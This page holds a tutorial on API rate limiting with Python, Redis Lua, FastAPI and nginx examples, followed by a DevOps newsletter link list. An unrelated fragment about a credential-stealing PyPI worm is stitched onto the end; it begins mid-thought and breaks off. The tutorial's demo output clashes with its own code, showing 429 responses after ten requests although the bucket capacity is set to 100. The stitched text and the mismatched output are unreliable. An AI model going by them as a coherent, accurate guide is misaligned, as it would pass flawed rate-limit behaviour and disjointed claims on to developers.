If you run any public or shared API, this is not a hypothetical. The fix is rate limiting, and the hard part is not the idea, it is picking the right algorithm and implementing it so it actually holds up behind a load balancer.

This post compares the four rate limiting algorithms you will actually see in production (fixed window, sliding window, token bucket, leaky bucket), shows you working code you can copy, and gives you a straight answer on which one to use.

TLDR

• Token bucket is the right default for most public APIs. It allows controlled bursts and is cheap to run in Redis.
• Sliding window counter is the best choice when you want accurate limits without the boundary-burst problem of fixed windows.
• Fixed window is the simplest and cheapest, but it lets a client send up to 2x your limit across a window boundary. Fine for rough internal limits, bad for billing or abuse control.
• Leaky bucket smooths bursty input into a constant output rate. Use it when a downstream system can only handle a fixed throughput, not when you want to allow bursts.
• Do the counting in a shared store (Redis) with an atomic operation. In-memory counters break the moment you run more than one instance.
• Return 429 Too Many Requests with a Retry-After header. Decide up front whether you fail open or fail closed when Redis is down.

Prerequisites

• A running API service (the examples use Python and FastAPI, but the logic ports to any language)
• Redis 6 or newer reachable from your service, for distributed counting
• Basic familiarity with HTTP status codes and headers
• redis-py installed (pip install redis) if you want to run the Python examples

Why in-memory counters fail first

Before the algorithms, the trap everyone hits. The naive version looks like this:

# DO NOT use this in production
from collections import defaultdict
import time

counters = defaultdict(list)

def allow(client_id, limit=100, window=60):
    now = time.time()
    counters[client_id] = [t for t in counters[client_id] if t > now - window]
    if len(counters[client_id]) >= limit:
        return False
    counters[client_id].append(now)
    return True

This works on your laptop and fails in production for one reason: the counter lives in the memory of a single process. Run three replicas behind a load balancer and each one tracks its own count, so your "100 requests per minute" limit becomes 300. Restart a pod and the counter resets. Autoscale to ten pods and the limit is meaningless.

Rate limiting state has to live somewhere shared and the check has to be atomic. That is why every serious example below uses Redis.

The four algorithms

Fixed window counter

Count requests in a fixed time block (say, per calendar minute). When the clock ticks over to the next minute, the count resets to zero.

def fixed_window(redis, key, limit, window):
    count = redis.incr(key)
    if count == 1:
        # first request in this window, set the expiry
        redis.expire(key, window)
    return count <= limit

It is fast, uses almost no memory (one integer per client), and is trivial to reason about. The problem is the boundary. A client can send limit requests in the last second of one window and another limit in the first second of the next:

window 1 (00:00-00:59)                window 2 (01:00-01:59)
                          |<- 1 second ->|
            100 reqs at 00:59.5    100 reqs at 01:00.2
            = 200 requests in ~0.7 seconds

For a limit that maps to real cost (database load, a paid quota), that 2x burst is a real bug. Use fixed window only for rough limits where the occasional double burst does not hurt you.

Sliding window log

Keep a timestamp for every request and count how many fall inside the trailing window. This is exact, no boundary problem, but you store one entry per request. A client at 1,000 requests per minute means 1,000 timestamps in memory per client. That cost adds up fast across many clients, so reserve the sliding log for low-volume endpoints where precision matters (think a "5 password resets per hour" rule).

Sliding window counter

The practical middle ground. Keep a counter per fixed window, then estimate the rolling count by weighting the previous window by how much of it still overlaps the trailing period.

import time

def sliding_window(redis, key, limit, window):
    now = time.time()
    current = int(now // window)
    previous = current - 1
    # how far we are into the current window, as a fraction
    elapsed = (now % window) / window

    cur_count = int(redis.get(f"{key}:{current}") or 0)
    prev_count = int(redis.get(f"{key}:{previous}") or 0)

    # weighted estimate of requests in the trailing window
    estimated = prev_count * (1 - elapsed) + cur_count
    if estimated >= limit:
        return False

    pipe = redis.pipeline()
    pipe.incr(f"{key}:{current}")
    pipe.expire(f"{key}:{current}", window * 2)
    pipe.execute()
    return True

This gives you accuracy very close to a true sliding window at the cost of two integers per client. It smooths out the boundary burst because the previous window's count still pulls weight right after the rollover. This is a solid default if token bucket does not fit your mental model.

Token bucket

Picture a bucket that holds tokens. Every request takes one token. Tokens refill at a steady rate up to a maximum capacity. If the bucket is empty, the request is rejected.

        refill at 10 tokens/sec
                 |
                 v
        +------------------+
        |  tokens: 73/100  |   capacity = 100 (max burst)
        +------------------+
                 |
          1 token per request
                 v
            request allowed

The capacity controls how big a burst you allow; the refill rate controls the sustained throughput. A client that has been quiet can spend its full bucket at once (a burst), then is held to the refill rate. This matches how people actually use APIs, which is why most public APIs (Stripe, GitHub, AWS) use token bucket or a close variant.

The catch is that refill and spend have to be atomic, or two concurrent requests can both read the same token count and both spend it. Do it in a single Redis Lua script so the whole read-refill-spend cycle runs without interruption:

-- token_bucket.lua
-- KEYS[1] = bucket key
-- ARGV[1] = capacity
-- ARGV[2] = refill rate (tokens per second)
-- ARGV[3] = current time (seconds, with fraction)
-- ARGV[4] = tokens requested (cost)
local capacity = tonumber(ARGV[1])
local refill_rate = tonumber(ARGV[2])
local now = tonumber(ARGV[3])
local requested = tonumber(ARGV[4])

local bucket = redis.call('HMGET', KEYS[1], 'tokens', 'last')
local tokens = tonumber(bucket[1])
local last = tonumber(bucket[2])

if tokens == nil then
  tokens = capacity
  last = now
end

-- refill based on time elapsed since the last request
local elapsed = math.max(0, now - last)
tokens = math.min(capacity, tokens + elapsed * refill_rate)

local allowed = 0
if tokens >= requested then
  tokens = tokens - requested
  allowed = 1
end

redis.call('HMSET', KEYS[1], 'tokens', tokens, 'last', now)
-- expire idle buckets so Redis does not fill up with stale keys
redis.call('EXPIRE', KEYS[1], math.ceil(capacity / refill_rate) * 2)

return { allowed, tokens }

Load it once and call it per request:

import time
import redis

r = redis.Redis(host="localhost", port=6379, decode_responses=True)

with open("token_bucket.lua") as f:
    take_token = r.register_script(f.read())

def allow(key, capacity=100, refill_rate=10, cost=1):
    allowed, remaining = take_token(
        keys=[key],
        args=[capacity, refill_rate, time.time(), cost],
    )
    return bool(allowed), int(remaining)

Leaky bucket

A leaky bucket is a queue that drains at a constant rate. Requests pour in (possibly in bursts), sit in the queue, and leave at a fixed pace. If the queue is full, new requests are dropped.

   bursty requests in
        | | |  |
        v v v  v
     +-----------+
     |  queue    |   drops when full
     +-----------+
           |
      constant drain (e.g. 10 req/sec)
           v
      to downstream

The difference from token bucket matters. Token bucket allows a burst to pass through immediately as long as it has tokens. Leaky bucket never lets the output exceed the drain rate, no matter what. Use leaky bucket when the thing behind your API can only handle a steady throughput, for example a legacy system or a third-party API with a hard ceiling. If you want to allow bursts, use token bucket instead.

Which one should you use?

If you are not sure, use token bucket. It handles real traffic well, the burst behavior is intuitive, and the Redis implementation above is production-ready. Reach for the sliding window counter if "X requests per minute" is easier to explain to your customers than a bucket.

Wiring it into your API

Here is the token bucket as FastAPI middleware. It keys off the client IP, but in production you should key off the API key or authenticated user ID so a shared NAT does not punish everyone behind it.

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()

@app.middleware("http")
async def rate_limit(request: Request, call_next):
    client_key = request.headers.get("x-api-key") or request.client.host
    key = f"rl:{client_key}"

    try:
        allowed, remaining = allow(key, capacity=100, refill_rate=10)
    except redis.RedisError:
        # fail open: if Redis is down, let traffic through rather than
        # taking the whole API offline. See the note below.
        return await call_next(request)

    if not allowed:
        return JSONResponse(
            status_code=429,
            content={"error": "rate limit exceeded", "retry_after": 1},
            headers={
                "Retry-After": "1",
                "X-RateLimit-Limit": "100",
                "X-RateLimit-Remaining": "0",
            },
        )

    response = await call_next(request)
    response.headers["X-RateLimit-Limit"] = "100"
    response.headers["X-RateLimit-Remaining"] = str(remaining)
    return response

Send back the standard headers. Clients use X-RateLimit-Remaining to slow themselves down before they hit the wall, and Retry-After tells a well-behaved client exactly how long to wait. Skipping these turns every client into a blind retry machine, which is the opposite of what you want.

Fail open or fail closed?

When Redis is unreachable, you have two choices and you must pick deliberately:

• Fail open (allow the request): the right default for general traffic. A Redis blip should not take your whole API down. The example above does this.
• Fail closed (reject the request): the right call for login, password reset, and payment endpoints, where letting traffic through unmetered is worse than a brief outage.

Do not leave this to chance. An unhandled Redis exception that bubbles up as a 500 is the worst of both worlds.

Do it at the edge when you can

If all you need is a flat limit per IP, do not write code at all. Put it in nginx in front of your service:

# define a shared memory zone keyed by client IP, 10 req/sec
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        # allow short bursts of 20, no artificial delay on them
        limit_req zone=api burst=20 nodelay;
        limit_req_status 429;
        proxy_pass http://backend;
    }
}

nginx's limit_req is a leaky bucket under the hood. This stops abusive traffic before it ever reaches your application, which is exactly where you want to drop it. Use the application-level Redis approach when you need per-user limits, different tiers, or limits that depend on the request body. Use both together for defense in depth.

Seeing it work

Fire a quick loop at the endpoint and watch the limit kick in:

$ for i in $(seq 1 12); do \
    curl -s -o /dev/null -w "%{http_code} " http://localhost:8000/api/data; \
  done
200 200 200 200 200 200 200 200 200 200 429 429

The full response on a rejected request:

$ curl -i http://localhost:8000/api/data
HTTP/1.1 429 Too Many Requests
content-type: application/json
retry-after: 1
x-ratelimit-limit: 100
x-ratelimit-remaining: 0

{"error":"rate limit exceeded","retry_after":1}

And the bucket state itself, straight from Redis:

$ redis-cli HGETALL rl:203.0.113.45
1) "tokens"
2) "0"
3) "last"
4) "1717840800.123"

Tokens at zero, last access timestamped. Wait a second and the Lua script refills 10 tokens on the next request.

Next steps

• Add the token bucket Lua script and FastAPI middleware to one endpoint, key it off the API key, and load test it with hey -z 30s -c 50 http://localhost:8000/api/data to confirm the 429s show up where you expect.
• Set your capacity and refill_rate from real traffic, not guesses. Pull your p99 requests-per-second per client from logs and set the sustained rate a bit above that, with capacity for a 5 to 10 second burst.
• Pick fail-open or fail-closed per endpoint group and write it into the code, not a wiki page.
• Add X-RateLimit-* headers to every response and document them so client teams can back off gracefully.
• Put a flat per-IP limit_req in nginx as a cheap outer wall, even if you already limit per user in the app.
• Alert on your 429 rate. A sudden spike means either an abusive client or a limit set too low for legitimate traffic, and you want to know which before the support tickets arrive.

📌 Handpicked by be4n - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Benchmarking KubeVirt performance with virtbench

Organizations migrating VM estates from traditional hypervisors to KubeVirt often discover that many Kubernetes observability tools were originally designed around container workloads rather than VM-c

📅 Jun 8, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Scaling the future: How Garanti BBVA manages etcd in massive Red Hat OpenShift environments

At the OpenShift Commons Gathering in Amsterdam on March 23—a Day Zero event for KubeCon + CloudNativeCon Europe 2026—attendees got a deep look into the engine room of 1 of Turkey's largest private ba

📅 Jun 5, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 The path to autonomous intelligent networks

Telecommunications (telco) service providers face a landscape of massive operational complexity. As they adopt 5G standalone architectures and multivendor radio access networks (RANs), they must manag

📅 Jun 4, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Build an EKS Environment Factory with Pulumi and vCluster

AWS reports in an AWS Architecture Blog case study that Deloitte’s move to a virtual cluster model on Amazon EKS resulted in 89% faster testing environment provisioning. By consolidating dozens of dis

📅 Jun 4, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Field Notes: Using the Harvester CSI Driver to consume Longhorn storage in your guest cluster

When running a guest Kubernetes cluster inside SUSE Virtualization/Harvester, you get the best of both worlds: bare-metal performance with VM-level flexibility. It’s a really common pattern: you insta

📅 Jun 3, 2026 • 📰 SUSE Blog

🔗 Read more

📄 OpenShift Virtualization 4.21: Removing complexity from your virtual machine networking workflow

Red Hat OpenShift Virtualization 4.21 introduces highly anticipated networking design flows to simplify network management. Tailored to VM network requirements, this complete workflow lets you more ef

📅 Jun 2, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 From Kubernetes Dashboard to Headlamp: Understanding the Transition

For many people, Kubernetes Dashboard was their first window into Kubernetes. It offered a simple visual way to see what was running in a cluster, inspect resources, and build confidence without relyi

📅 Jun 1, 2026 • 📰 Kubernetes Blog

🔗 Read more

☁️ Cloud Native

📄 Breaking free of a single datacenter: Practical geo-distributed AI operations with the k0smos platforms

Breaking the single datacenter assumption Modern AI architectures are built on the assumption of centralized, homogeneous data centers. In reality, infrastructure is messy. For most organizations, com

📅 Jun 8, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Amazon ECS with AWS Fargate now supports 32vCPU compute configurations

Amazon Elastic Container Service (Amazon ECS) with AWS Fargate now supports 32vCPU compute configurations, enabling customers to run more demanding applications with greater flexibility and performanc

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Identity and Access Management Whitepaper

As cloud native architectures become more distributed, dynamic, and automated, identity increasingly becomes the new security perimeter. Traditional approaches to authentication and authorization stru

📅 Jun 4, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Hardened Images Explained: Fewer CVEs, Smaller Attack Surface

When security teams scan their container environments for the first time, they often discover hundreds of known vulnerabilities, and almost none of them trace back to application code. The overwhelmin

📅 Jun 4, 2026 • 📰 Docker Blog

🔗 Read more

📄 Yugandhar Suthari

CNCF Kyverno maintainer, KubeCon Europe 2026 Program Committee member, KyvernoCon 2025–2026 program comittee and speaker, Golden Kubestronaut

📅 Jun 3, 2026 • 📰 KubeCon Updates

🔗 Read more

📄 Fragnesia and friends: When page cache vulnerabilities keep coming back

A couple of weeks ago, I wrote about Copy-Fail (CVE-2026-31431) and how Red Hat OpenShift’s defense-in-depth approach prevented container escape despite a vulnerable kernel. I spent time actively tryi

📅 Jun 2, 2026 • 📰 OpenShift Blog

🔗 Read more

🔄 CI/CD

📄 Shai-Hulud Miasma: Inside the Compromise of Red Hat Packages

An in-depth look at the Miasma supply chain attack that compromised Red Hat npm packages. Learn how the malware spread, stole credentials, abused trusted publishing, and the steps teams can take to mi

📅 Jun 5, 2026 • 📰 Harness Blog

🔗 Read more

📄 GitHub Universe is back: All together now, in the agentic era

GitHub Universe is back: returning to the historic Fort Mason Center in San Francisco on October 28–29, 2026. The post GitHub Universe is back: All together now, in the agentic era appeared first on T

📅 Jun 4, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Securing CI/CD for an open source project: Controlling who runs what

Part one The last twelve months have been rough on the open source supply chain. Axios was compromised on npm and shipped a remote access trojan inside otherwise normal-looking releases. LiteLLM’s PyP

📅 Jun 4, 2026 • 📰 CNCF Blog

🔗 Read more

📄 GitHub Copilot app: The agent-native desktop experience

At Microsoft Build 2026, GitHub introduced new tools, updates, and surfaces so agents can work the way you already work. The post GitHub Copilot app: The agent-native desktop experience appeared first

📅 Jun 2, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 Amazon Bedrock AgentCore Runtime introduces interactive shells for terminal access into agent sessions

Amazon Bedrock AgentCore Runtime now supports interactive shells through a new InvokeAgentRuntimeCommandShell API, opening a persistent, PTY-backed terminal directly into a running agent session over

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Trigger Deployments on Git Tags

A git tag is how many teams mark a release as ready. Pulumi Deployments can now act on that signal directly: configure a tag-based trigger, push a version tag like v1.2.0, and Pulumi automatically run

📅 Jun 5, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Use Your Mac for AI Agents: Self-Host Gemma 4 12 B with Pulumi and Tailscale

If you run AI tools and agents, you’ve probably accepted three tradeoffs: your data leaves your network, you can’t work offline, and your bill scales with usage. Open-weight models now run well on con

📅 Jun 4, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Why Choose Pulumi Over Terraform?

Terraform is a proven infrastructure as code tool with a large provider and module ecosystem. Many teams choose Pulumi when they want to keep that infrastructure as code model, but write and maintain

📅 Jun 2, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 From Cool Demo to Production-Ready: How We Made an AI Travel Agent Trustworthy with New Relic

A walkthrough of taking an AI Travel Agent (WanderAI) from a demo to production, covering OpenTelemetry tracing, AI monitoring, SLOs, and prompt injection defense.

📅 Jun 8, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Building the Future of Telemetry in the Open

New Relic Experimental is our open-source incubator designed to bridge the gap between emerging tech and enterprise observability.

📅 Jun 8, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Errors, traces, logs, metrics: when to reach for what

Errors, traces, logs, and metrics overlap enough that it's hard to know which to use. Here's when to reach for each signal, with a real debugging walkthrough.

📅 Jun 5, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Supercharge SAP on AWS: Intelligent Observability for the hybrid enterprise

Supercharge SAP on AWS transformation with New Relic's intelligent observability. Get full-stack visibility across hybrid and RISE with SAP environments.

📅 Jun 3, 2026 • 📰 New Relic Blog

🔗 Read more

📄 New Relic and Microsoft: Intelligent Observability for the Agentic Era

See how New Relic and Microsoft are embedding Intelligent Observability into Azure workflows and what we’ve built for teams deploying AI in production.

📅 Jun 2, 2026 • 📰 New Relic Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Jun 8, 2026 • 📰 Linode Blog

🔗 Read more

📄 What is AI Governance? Frameworks, Principles, and Best Practices

AI agents are moving fast. According to our State of Agentic AI report, 60% of organizations already have AI agents in production, yet 40% cite security and compliance as the number-one barrier to sca

📅 Jun 5, 2026 • 📰 Docker Blog

🔗 Read more

📄 Secure Code Warrior Leverages AI to Extend DevSecOps Training Reach

Secure Code Warrior this week extended the capability of its artificial intelligence (AI) agent to make it possible to surface relevant training insights in real time as application developers are wri

📅 Jun 5, 2026 • 📰 DevOps.com

🔗 Read more

📄 Build security into ITOps from the start with automation

It's no secret that IT operations is a complex area. Teams face demanding workloads, where many tasks have to be completed quickly. Objectives typically focus on smooth and resilient operations, and e

📅 Jun 5, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Planning your path forward from Amazon Linux 2: Why consistency is the ultimate upgrade

Amazon Linux 2 reaches end of life (EOL) on June 30, 2026. If your migration isn't already underway, the window to move deliberately rather than reactively is narrowing. Migrating business-critical wo

📅 Jun 5, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Friday Five — June 5, 2026

InfoWorld - IBM and Red Hat want to become the ‘security clearinghouse’ for open source applications in the enterpriseInfoWorld looks at IBM and Red Hat's Project Lightwell, a $5 billion initiative ba

📅 Jun 5, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 So You Have an AI Security Budget. Now what?

An AI security budget should fund more than visibility. The real priority is unified governance and enforcement across agentic development and production apps.

📅 Jun 4, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Node-gyp Supply Chain Compromise: A Self-Propagating npm Worm That Hides in binding.gyp

A new npm worm is abusing binding.gyp to trigger node-gyp during install, letting malicious packages run code without lifecycle scripts. It steals credentials, persists in GitHub, and self-propagates

📅 Jun 4, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Type Level Security: The future of secure AI code generation?

Secure-by-design types can turn common bugs into compile-time errors. This post explores how type-level security could help prevent entire classes of AI-generated vulnerabilities.

📅 Jun 4, 2026 • 📰 Snyk Blog

🔗 Read more

📄 What is Software Supply Chain Security?

Software supply chain attacks have accelerated faster than most security teams anticipated. Sonatype's 2026 State of the Software Supply Chain report identified more than 454,000 new malicious package

📅 Jun 3, 2026 • 📰 Docker Blog

🔗 Read more

📄 Harness May 2026 Product Updates: 60+ New Features

See 60+ Harness updates from May 2026 across AI-native development, software delivery, security, artifact management, cost visibility, and engineering insights. | Blog

📅 Jun 3, 2026 • 📰 Harness Blog

🔗 Read more

📄 The New Security Risks of the Agentic Development Lifecycle

AI agents are changing how software gets built, and with it, where security risk begins. Learn why securing the process matters as much as securing the code.

📅 Jun 3, 2026 • 📰 Snyk Blog

🔗 Read more

💾 Databases

📄 The Laptop Return that Broke a RAG Pipeline

Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. A few months ago, one of our users filed a bug report that stu

📅 Jun 4, 2026 • 📰 TiDB Blog

🔗 Read more

📄 What’s new with Google Data Cloud

June 1 - June 5 Beyond the Query: Powering AI Agents with Bigtable, Firestore & Memorystore Discover the latest advancements in Google Cloud's NoSQL Database portfolio, including Bigtable, Firestore,

📅 Jun 4, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Get Started with Meko: Agent Memory with Built-in Discernment

With Meko, your project context lives in a datapack any MCP-connected client can read. This allows you to switch tools without losing context, share useful information with your team while keeping sel

📅 Jun 4, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 PostgreSQL 19 Beta 1 Released!

The PostgreSQL Global Development Group announces that the first beta release of PostgreSQL 19 is now available for download. This release contains PostgreSQL 19 feature previews ahead of general avai

📅 Jun 4, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Agentic Supplier Management with MongoDB Atlas, Voyage AI, and Multi-Modal Search

Retail supply chains are not a back-office logistics function; they are a high-stakes, board-level concern. Imagine learning suddenly that shipment rerouting surcharges have doubled due to new regiona

📅 Jun 3, 2026 • 📰 MongoDB Blog

🔗 Read more

📄 Powering the Inference Era: Inside the DigitalOcean Data & Learning Layer

Building an AI-native application requires a data layer that can do two things at once: handle the structured, transactional queries your application runs on, and understand meaning well enough to pow

📅 Jun 3, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 AI reasoning explained: smarter models still need context

Every few months, a new AI model drops with higher benchmark scores, and the reaction is predictable: "This one finally reasons." The leaderboard shuffles. And teams building production AI systems sti

📅 Jun 3, 2026 • 📰 Redis Blog

🔗 Read more

📄 Semantic layer vs context layer: where BI modeling ends & AI grounding begins

Your BI semantic layer solved a hard problem: getting every team, dashboard, and report to agree on what shared metrics like "revenue," "active customer," or "customer acquisition cost" actually mean.

📅 Jun 3, 2026 • 📰 Redis Blog

🔗 Read more

📄 Dear cqlsh: Your dependencies were killing us (P.S. We rewrote you in Rust)

A story of rewriting cqlsh in Rust…with Claude Code and a lot of planning Dear cqlsh, I vouched for you. I told the team you were fine. I forked you, catered to you, vendored your dependencies and you

📅 Jun 2, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 The Beautiful Game: Winning at Scale with a Multi-Agent Strategy

During major live sporting events, peak traffic reaches unprecedented levels, and customers expect a flawless in-the-moment experience. The right data infrastructure separates the platforms that win f

📅 Jun 2, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 Why your AI doesn't understand your business (& how teams fix it)

Your AI can summarize documents and answer questions about almost anything on the internet. But ask it about your business, and things fall apart. It pulls stale pricing, ignores internal policies, or

📅 Jun 2, 2026 • 📰 Redis Blog

🔗 Read more

📄 Diving deep into Redis’s new array data type

The most popular data types in Redis are strings, lists, hashes, sets, and sorted sets. Each is purpose-built around a specific way of organizing data, enabling developers to solve a wide range of tec

📅 Jun 2, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 Jun 8, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Jun 8, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 Jun 8, 2026 • 📰 Linode Blog

🔗 Read more

📄 Simplified permissions for Amazon S3 Tables and Iceberg materialized views are now available in AWS GovCloud (US) Regions

AWS Glue Data Catalog now supports AWS IAM-based authorization for Amazon S3 Tables and Apache Iceberg materialized views. With IAM-based authorization, you can define all necessary permissions across

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Amazon OpenSearch UI is now available in GovCloud regions

Amazon OpenSearch Service expands its modernized operational analytics experience to GovCloud regions, including AWS GovCloud (US-East) and AWS GovCloud (US-West), enabling users to gain insights acro

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 Jun 5, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms

Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan Introduction From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign e

📅 Jun 5, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Your AI bill is out of control. Cloudflare can fix it now.

AI Gateway now features real-time spend limits to prevent runaway token bills across multiple AI providers. By integrating with Cloudflare Access, companies can use identity-driven budgets and policie

📅 Jun 5, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 From metal to agent: Why agentic AI is an application evolution

We’re moving beyond simple prompts. The next frontier is agentic AI: autonomous systems that don’t just talk, but act across your enterprise. But as we move into this era, I’m hearing a consistent con

📅 Jun 5, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Model Evaluations: Prove Your Routing Policy Actually Works

Most teams running inference at scale do not fail because they cannot find a “good” model. They fail because they ship a routing policy that looks fine in a playground, but drifts the moment it sees r

📅 Jun 4, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 What's new for Managed Service for Apache Spark clusters

At Google Cloud, our goal is to let you run large-scale analytical and data science workloads with maximum efficiency so you can process big data pipelines, machine learning, and ETL tasks. We recentl

📅 Jun 4, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Debug deployment failures faster with the Deployments tab in AWS Elastic Beanstalk

Introduction When a deployment fails, finding the root cause often means piecing together information from multiple sources. You wait for the deployment to finish, request a log bundle, download it, a

📅 Jun 4, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.124

Learn what's new in Visual Studio Code 1.124 (Insiders) Read the full article

📅 Jun 10, 2026 • 📰 VS Code Blog

🔗 Read more

📄 With Foundry, Microsoft bets the enterprise AI battle is about reliability, not capability

The agentic AI wave has produced no shortage of impressive demos. What it has produced less of is agents that The post With Foundry, Microsoft bets the enterprise AI battle is about reliability, not c

📅 Jun 8, 2026 • 📰 The New Stack

🔗 Read more

📄 Microsoft unlocks Visual Studio for developers left behind by its own AI

Microsoft used its Build 2026 conference last week to announce a series of updates to its flagship Visual Studio IDE The post Microsoft unlocks Visual Studio for developers left behind by its own AI a

📅 Jun 8, 2026 • 📰 The New Stack

🔗 Read more

📄 AI teams now deploy 1,000 times a month. Your pipeline wasn’t built for that.

There’s mounting evidence that AI coding tools are delivering on their less outlandish promises. With adoption shifting from 76% in The post AI teams now deploy 1,000 times a month. Your pipeline wasn

📅 Jun 7, 2026 • 📰 The New Stack

🔗 Read more

📄 Microsoft just made the agent runtime free — and kept everything around it

Microsoft has the engineers to build its own agent runtime. At Build 2026 last week, it chose not to, shipping The post Microsoft just made the agent runtime free — and kept everything around it appea

📅 Jun 7, 2026 • 📰 The New Stack

🔗 Read more

📄 AI Is Accelerating DevOps, Poor Integrations Are Slowing It Down

As AI speeds up software delivery, the real bottleneck isn’t scanning or CI. It’s how safely and predictably change moves across tools, teams, and companies. Something strange is happening in DevOps r

📅 Jun 5, 2026 • 📰 DevOps.com

🔗 Read more

📄 IronWorm Malware Shares Shai-Hulud Traits, Takes Threat to ‘Next Level’

Open source software developers continue to come under attack, with the latest threat being a custom malware that shares many of the attributes of the notorious Shai-Hulud self-propagating worm but co

📅 Jun 5, 2026 • 📰 DevOps.com

🔗 Read more

📄 Cloudflare Acquires VoidZero to Advance Open Source Vite Ecosystem

Cloudflare this week acquired VoidZero, the maintainer of open source tools such as Vite, Vitest, Rolldown, Oxc, and Vite+ that are used widely to build web application frameworks. Rita Kozlov, vice p

📅 Jun 5, 2026 • 📰 DevOps.com

🔗 Read more

📄 Why Zig Isn’t 1.0 (Yet)

Most programming languages follow a familiar trajectory: early experimental releases, rapid iteration, and then – at some point – a 1.0 version that signals stability and the potential for serious ado

📅 Jun 5, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Java Annotated Monthly – June 2026

A fresh edition of Java Annotated Monthly has landed! The world of software development keeps moving at full speed, and this month’s selection helps you keep up without drowning in tabs. Inside, you’l

📅 Jun 5, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Beyond tokens per watt – using Ubuntu 26.04 LTS for AI

Tokens per watt (TpW) – the measure of useful AI work produced per watt of energy consumed – is the metric at top of mind for CEOs, heads of AI, and infrastructure teams alike. With the tremendous cos

📅 Jun 5, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Cyber Resilience Act (CRA): How SUSE Provides Innovation and Trust in the Secure Software Era

The European Union’s Cyber Resilience Act (CRA) represents a historic evolution in the global digital landscape. Rather than viewing it as a regulatory hurdle, forward-thinking enterprises recognize t

📅 Jun 4, 2026 • 📰 SUSE Blog

🔗 Read more

That detail matters. Most people picture a malicious package as something that fires when you import it, or at worst during a build step you can sandbox. Hades runs through a Python startup hook, so a single pip install of a poisoned wheel is enough to execute the payload on the next interpreter start, on your laptop or on a CI runner. Once it runs, it goes after exactly what a build machine tends to hold: GitHub tokens, PyPI and npm publishing tokens, cloud credentials, and SSH keys.

This is the same worm family behind the PyTorch Lightning incident and the AntV npm wave. The tradecraft is familiar, but the Python delivery is new. This post is the practical version: what shipped, how the startup trick works, the indicators to grep for, and the order to rotate secrets if you were exposed.

TLDR

• New Shai-Hulud wave on PyPI, June 7, 2026, tracked as the "Hades" branch. Socket counted 37 malicious wheels across 19 PyPI packages, plus a parallel npm campaign of 411 artifacts across 106 packages.
• It looks like a single maintainer-account takeover. Consecutive patch releases were mass-published across the author's whole portfolio at once.
• The wheels carry a .pth startup hook that runs at interpreter startup, with no import required, then downloads Bun and runs an obfuscated JavaScript stealer.
• It steals GitHub, PyPI, npm, cloud (AWS, GCP, Azure), Kubernetes, and Vault credentials, plus .env, .npmrc, .pypirc, and AI tool configs, then exfiltrates to attacker-created public GitHub repos.
• High-download research packages were hit, including dynamo-release, spateo-release, coolbox, and ufish. PyPI quarantined a number of releases, and Socket flagged the cluster minutes after publication.

Prerequisites

• You install Python packages with pip, uv, or poetry, or your CI does
